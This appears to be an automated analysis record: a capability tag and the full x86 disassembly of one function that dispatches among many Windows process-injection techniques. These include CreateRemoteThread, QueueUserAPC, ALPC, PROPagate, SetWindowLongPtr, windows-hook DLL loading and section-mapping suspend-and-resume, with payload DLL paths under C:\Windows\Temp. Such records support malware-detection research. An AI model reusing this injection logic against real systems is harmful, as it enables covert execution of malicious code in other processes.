Function at 0x417e40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45f972
mov eax, dword fs:[0]
push eax
sub esp, 0x14c
push ebx
push esi
push edi
mov eax, dword [0x47a0b8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x1c], ecx
xor ebx, ebx
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x18], edi
mov esi, 0x470ed0
mov cx, word [eax]
cmp cx, word [esi]
jne 0x417ead
test cx, cx
je 0x417ea9
mov cx, word [eax + 2]
cmp cx, word [esi + 2]
jne 0x417ead
add eax, 4
add esi, 4
test cx, cx
jne 0x417e87
xor eax, eax
jmp 0x417eb2
sbb eax, eax
or eax, 1
test eax, eax
jne 0x417eed
mov ecx, 0x44
lea edi, [ebp - 0x158]
mov esi, 0x470f28
mov ebx, 0x113
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00442745
mov edi, eax
lea esi, [ebp - 0x158]
mov dword [ebp - 0x18], edi
mov ecx, 0x44
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
jmp 0x417f53
mov eax, dword [ebp + 8]
mov ecx, 0x470ed8
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x417f1b
test dx, dx
je 0x417f17
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x417f1b
add eax, 4
add ecx, 4
test dx, dx
jne 0x417ef5
xor eax, eax
jmp 0x417f20
sbb eax, eax
or eax, 1
test eax, eax
jne 0x417f58
mov ecx, 0x44
lea edi, [ebp - 0x158]
mov esi, 0x471660
mov ebx, pe_nt_image_headers32
rep movsd dword es:[edi], dword [esi]
push ebx
call fcn.00442745
mov edi, eax
lea esi, [ebp - 0x158]
mov ecx, 0x44
mov dword [ebp - 0x18], edi
rep movsd dword es:[edi], dword [esi]
mov edi, eax
add esp, 4
mov eax, dword [ebp - 0x1c]
dec eax
cmp eax, 0xb
ja case.0x417f65.4
jmp dword [eax*4 + 0x418440]
push 8
call fcn.00435b17
mov esi, eax
mov dword [ebp - 0x10], esi
push 0xc
mov byte [ebp - 4], 1
call fcn.00435b17
add esp, 8
mov dword [ebp - 0x10], eax
mov ecx, esi
mov byte [ebp - 4], 0
mov dword [eax], vtable.LoadLibraryA_GetProcAddress.0
push dword [ebp + 0xc]
mov dword [eax + 4], str.C:WindowsTemp_apk.dll
push dword [ebp - 0x14]
mov dword [eax + 8], str.WinExecProc
mov dword [esi], vtable.LoadDLLViaWindowsHook.0
mov dword [esi + 4], eax
call dword [vtable.LoadDLLViaWindowsHook.0]
jmp case.0x417f65.4
push 0xc
call fcn.00435b17
mov esi, eax
mov dword [ebp - 0x10], esi
push 0x18
mov byte [ebp - 4], 2
call fcn.00435b17
mov dword [ebp - 0x10], eax
mov dword [eax], vtable.OpenProcess_VirtualAllocEx_WriteProcessMemory.0
mov dword [eax + 4], str.C:WindowsTemp_apk_exec.dll
mov dword [eax + 8], 0x1d
mov dword [eax + 0xc], 0x2a
mov dword [eax + 0x10], 0x3000
mov dword [eax + 0x14], 4
mov dword [esi + 4], eax
mov eax, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [esi + 8], eax
add esp, 8
mov dword [esi], vtable.CodeViaCreateRemoteThread.0
mov ecx, esi
mov byte [ebp - 4], 0
push dword [ebp + 0xc]
push dword [ebp - 0x14]
call dword [vtable.CodeViaCreateRemoteThread.0]
jmp case.0x417f65.4
test ebx, ebx
jne 0x41803b
mov ebx, 0x46
call fcn.0041a090
mov edi, eax
push 0xc
call fcn.00435b17
mov esi, eax
mov dword [ebp - 0x10], esi
push 0xc
mov byte [ebp - 4], 3
call fcn.00435b17
mov dword [ebp - 0x10], eax
mov dword [eax], vtable.CreateFileMappingA_MapViewOfFile_OpenProcess_PNtMapViewOfSection.0
mov dword [eax + 4], edi
mov dword [eax + 8], ebx
mov dword [esi + 4], eax
mov dword [esi + 8], 0
jmp 0x41800b
test ebx, ebx
jne 0x41807d
mov ebx, 0x46
call fcn.0041a090
mov edi, eax
push 8
call fcn.00435b17
mov esi, eax
mov dword [ebp - 0x10], esi
push 0x18
mov byte [ebp - 4], 4
call fcn.00435b17
add esp, 8
mov dword [ebp - 0x10], eax
mov ecx, esi
mov byte [ebp - 4], 0
mov dword [eax], vtable.OpenThread_OpenProcess_VirtualAllocEx_GlobalAddAtomA.0
push dword [ebp + 0xc]
mov dword [eax + 4], edi
push dword [ebp - 0x14]
mov dword [eax + 8], ebx
mov dword [eax + 0xc], 0x1fffff
mov dword [eax + 0x10], 0x3000
mov dword [eax + 0x14], 0x40
mov dword [esi], vtable.CodeViaQueueUserAPC.0
mov dword [esi + 4], eax
call dword [vtable.CodeViaQueueUserAPC.0]
jmp case.0x417f65.4
test ebx, ebx
jne 0x4180eb
mov ebx, 0x46
call fcn.0041a090
mov edi, eax
push 8
call fcn.00435b17
mov esi, eax
mov dword [ebp - 0x10], esi
push 0x18
mov byte [ebp - 4], 5
call fcn.00435b17
add esp, 8
mov dword [ebp - 0x10], eax
mov ecx, esi
mov byte [ebp - 4], 0
mov dword [eax], vtable.OpenProcess_VirtualAllocEx_WriteProcessMemory.0
push dword [ebp + 0xc]
mov dword [eax + 4], edi
push dword [ebp - 0x14]
mov dword [eax + 8], ebx
mov dword [eax + 0xc], 0x28
mov dword [eax + 0x10], 0x3000
mov dword [eax + 0x14], 0x40
mov dword [esi], vtable.CodeViaCtrlInject.0
mov dword [esi + 4], eax
call dword [vtable.CodeViaCtrlInject.0]
jmp case.0x417f65.4
test ebx, ebx
jne 0x41826a
mov eax, dword [str.Hello_]
mov ebx, 0x4b
mov dword [ebp - 0x1c], eax
movzx eax, word [0x470d5c]
mov word [ebp - 0x20], ax
mov al, byte [0x470d5e]
mov byte [ebp - 0x1e], al
mov eax, dword [str.World]
mov dword [ebp - 0x10], eax
movzx eax, word [0x470d64]
mov word [ebp - 0x28], ax
xor eax, eax
push ebx
mov dword [ebp - 0x34], 0x44444444
mov dword [ebp - 0x30], 0x44444444
mov byte [ebp - 0x1d], 0
mov dword [ebp - 0x3c], 0x55555555
mov dword [ebp - 0x38], 0x55555555
mov word [ebp - 0x26], ax
mov dword [ebp - 0x44], 0x33333333
mov dword [ebp - 0x40], 0x33333333
call fcn.00442745
add esp, 4
mov dword [ebp - 0x18], eax
test eax, eax
jne 0x4181cf
xor edi, edi
jmp 0x41826d
mov ecx, 0x12
mov esi, 0x470df8
mov edi, eax
mov edx, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [ecx]
lea esi, [ebp - 0x34]
cmp eax, dword [esi]
jne 0x4181f5
mov eax, dword [ecx + 4]
cmp eax, dword [esi + 4]
je 0x4181fe
dec edx
inc ecx
cmp edx, 8
jae 0x4181e4
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x18]
mov dword [ecx], edx
mov edx, ebx
mov dword [ecx + 4], eax
mov ecx, edi
mov eax, dword [ecx]
lea esi, [ebp - 0x3c]
cmp eax, dword [esi]
jne 0x418221
mov eax, dword [ecx + 4]
cmp eax, dword [esi + 4]
je 0x41822a
dec edx
inc ecx
cmp edx, 8
jae 0x418210
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
mov dword [ecx], edx
mov edx, ebx
mov dword [ecx + 4], eax
mov ecx, edi
nop dword [eax]
mov eax, dword [ecx]
lea esi, [ebp - 0x44]
cmp eax, dword [esi]
jne 0x418251
mov eax, dword [ecx + 4]
cmp eax, dword [esi + 4]
je 0x41825a
dec edx
inc ecx
cmp edx, 8
jae 0x418240
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov edx, dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ecx], edx
mov dword [ecx + 4], eax
jmp 0x41826d
mov edi, dword [ebp - 0x18]
push 8
call fcn.00435b17
mov esi, eax
mov dword [ebp - 0x10], esi
push 0x14
mov byte [ebp - 4], 6
call fcn.00435b17
add esp, 8
mov dword [ebp - 0x10], eax
mov ecx, esi
mov byte [ebp - 4], 0
mov dword [eax], vtable.VirtualAllocEx_WriteProcessMemory.0
push dword [ebp + 0xc]
mov dword [eax + 0xc], 0x1000
push dword [ebp - 0x14]
mov dword [eax + 0x10], 0x40
mov dword [eax + 4], edi
mov dword [eax + 8], ebx
mov dword [esi], vtable.CodeViaALPC.0
mov dword [esi + 4], eax
call dword [vtable.CodeViaALPC.0]
jmp case.0x417f65.4
test ebx, ebx
jne 0x4182d4
mov ebx, 0x46
call fcn.0041a090
mov edi, eax
push 8
call fcn.00435b17
mov esi, eax
mov dword [ebp - 0x10], esi
push 0x14
mov byte [ebp - 4], 7
call fcn.00435b17
add esp, 8
mov dword [ebp - 0x10], eax
mov ecx, esi
mov byte [ebp - 4], 0
mov dword [eax], vtable.VirtualAllocEx_WriteProcessMemory.0
push dword [ebp + 0xc]
mov dword [eax + 0xc], 0x1000
push dword [ebp - 0x14]
mov dword [eax + 0x10], 0x40
mov dword [eax + 4], edi
mov dword [eax + 8], ebx
mov dword [esi], vtable.CodeViaPROPagate.0
mov dword [esi + 4], eax
call dword [vtable.CodeViaPROPagate.0]
jmp case.0x417f65.4
push 8
call fcn.00435b17
mov ebx, eax
mov dword [ebp - 0x10], ebx
push 0xc
mov byte [ebp - 4], 8
call fcn.00435b17
mov edi, eax
mov dword [ebp - 0x1c], edi
push 0x14
mov byte [ebp - 4], 9
call fcn.00435b17
mov esi, eax
push 4
mov dword [ebp - 0x18], esi
mov dword [esi], vtable.VirtualAllocEx_WriteProcessMemory.0
mov dword [esi + 0xc], 0x3000
mov dword [esi + 0x10], 0x40
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.00435b17
add esp, 0x10
mov byte [ebp - 4], 0
mov ecx, ebx
mov dword [eax], vtable._PAYLOAD_4.0
push dword [ebp + 0xc]
mov dword [edi], vtable.ComplexToMutableAdvanceMemoryWriter.0
push dword [ebp - 0x14]
mov dword [edi + 4], eax
mov dword [edi + 8], esi
mov dword [ebx], vtable.CodeViaSetWindowLongPtrA.0
mov dword [ebx + 4], edi
call dword [vtable.CodeViaSetWindowLongPtrA.0]
jmp case.0x417f65.4
push 8
call fcn.00435b17
mov edi, eax
mov dword [ebp - 0x10], edi
push 8
mov byte [ebp - 4], 0xa
call fcn.00435b17
mov esi, eax
mov dword [ebp - 0x1c], esi
push 4
mov byte [ebp - 4], 0xb
call fcn.00435b17
add esp, 0xc
mov byte [ebp - 4], 0
mov ecx, edi
mov dword [eax], vtable._PAYLOAD_5.0
push dword [ebp + 0xc]
mov dword [esi], vtable.CreateFileMappingA_MapViewOfFile_NtUnmapViewOfSection_NtMapViewOfSection.0
push dword [ebp - 0x14]
mov dword [esi + 4], eax
mov dword [edi], vtable.CodeViaProcessSuspendInjectAndResume_Complex.0
mov dword [edi + 4], esi
call dword [vtable.CodeViaProcessSuspendInjectAndResume_Complex.0]
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x41842b
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret